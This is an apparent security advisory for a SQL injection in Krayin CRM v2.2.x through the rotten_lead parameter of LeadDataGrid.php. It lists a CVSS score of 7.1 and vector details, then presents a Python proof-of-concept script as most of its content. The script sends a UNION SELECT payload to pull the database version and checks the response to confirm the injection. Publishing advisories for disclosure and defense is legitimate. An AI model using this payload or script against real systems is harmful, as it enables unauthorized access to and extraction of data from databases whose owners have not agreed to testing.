Krayin CRM v2.2.x was discovered to contain a SQL injection vulnerability via the rotten_lead parameter at /Lead/LeadDataGrid.php.
CVSS Details
CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Krayin CRM v2.2.x
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (replace with actual target)
target_url = "http://target.com/Lead/LeadDataGrid.php"
# Malicious payload to test SQL injection
# Example: Attempt to extract database version
payload = "1' UNION SELECT 1, version(), 3, 4, 5-- -"
# Parameters to be sent
params = {
"rotten_lead": payload
}
try:
# Send GET request to the vulnerable endpoint
response = requests.get(target_url, params=params, timeout=10)
# Check if request was successful
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] Response content:")
print(response.text)
# Analyze response to confirm vulnerability (pseudocode logic)
if "mysql" in response.text.lower() or "syntax error" in response.text.lower():
print("[!] Potential SQL Injection vulnerability confirmed.")
else:
print("[-] Vulnerability not confirmed via simple response check.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] An error occurred: {e}")